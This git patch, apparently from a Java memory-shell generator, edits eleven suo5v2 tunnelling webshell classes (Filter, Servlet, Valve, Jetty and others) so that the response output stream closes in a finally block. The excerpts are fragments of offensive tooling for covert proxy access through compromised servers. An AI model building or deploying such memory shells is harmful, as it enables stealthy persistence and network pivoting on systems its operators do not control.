From e9fb20fa0724fe0693ab6e4712c4e47f5d531e67 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 12 Dec 2025 22:55:57 +0800 Subject: [PATCH] fix: close respOutputStream in finally --- .../javaweb/memshell/shelltool/suo5v2/Suo5v2.java | 14 +++++++------- .../shelltool/suo5v2/Suo5v2ControllerHandler.java | 12 +++++++----- .../memshell/shelltool/suo5v2/Suo5v2Filter.java | 12 ++++++++---- .../shelltool/suo5v2/Suo5v2Interceptor.java | 13 +++++++------ .../shelltool/suo5v2/Suo5v2JettyCustomizer.java | 12 +++++++----- .../shelltool/suo5v2/Suo5v2JettyHandler.java | 12 +++++++----- .../memshell/shelltool/suo5v2/Suo5v2Listener.java | 12 +++++++----- .../memshell/shelltool/suo5v2/Suo5v2Servlet.java | 12 +++++++----- .../shelltool/suo5v2/Suo5v2Struct2Action.java | 12 +++++++----- .../suo5v2/Suo5v2UndertowServletHandler.java | 12 +++++++----- .../memshell/shelltool/suo5v2/Suo5v2Valve.java | 12 +++++++----- 11 files changed, 78 insertions(+), 57 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java index 8f1791af..e34011b1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java @@ -346,10 +346,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -381,26 +381,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { } } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); } - } } private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { boolean newThread = false; boolean sendClose = true; - try { byte action = ((byte[]) dataMap.get("ac"))[0]; switch (action) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java index 6fa3eb28..de169de6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java @@ -324,10 +324,10 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -359,15 +359,17 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe } } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java index e22d9111..e87ac51b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java @@ -329,10 +329,10 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -365,14 +365,18 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java index 7361ca41..c64caad9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java @@ -341,10 +341,10 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -376,19 +376,20 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos } } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java index 0067c18f..16138292 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java @@ -379,10 +379,10 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -414,15 +414,17 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn } } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java index da3cdb79..876690cc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java @@ -340,10 +340,10 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -375,15 +375,17 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust } } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java index b1607882..15478e7f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java @@ -335,10 +335,10 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -370,15 +370,17 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam } } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java index 9ae026b7..22a073fe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java @@ -323,10 +323,10 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -358,15 +358,17 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T } } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java index eb03a380..2003596e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java @@ -326,10 +326,10 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -361,15 +361,17 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus } } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java index b3b5fede..a28d0174 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java @@ -326,10 +326,10 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -361,15 +361,17 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, } } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java index 45b492d8..3176cc4b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java @@ -329,10 +329,10 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -364,15 +364,17 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust } } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } - if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } + try { + respOutputStream.close(); + } catch (Exception ignored) { + } if (t != null) { t.join(); }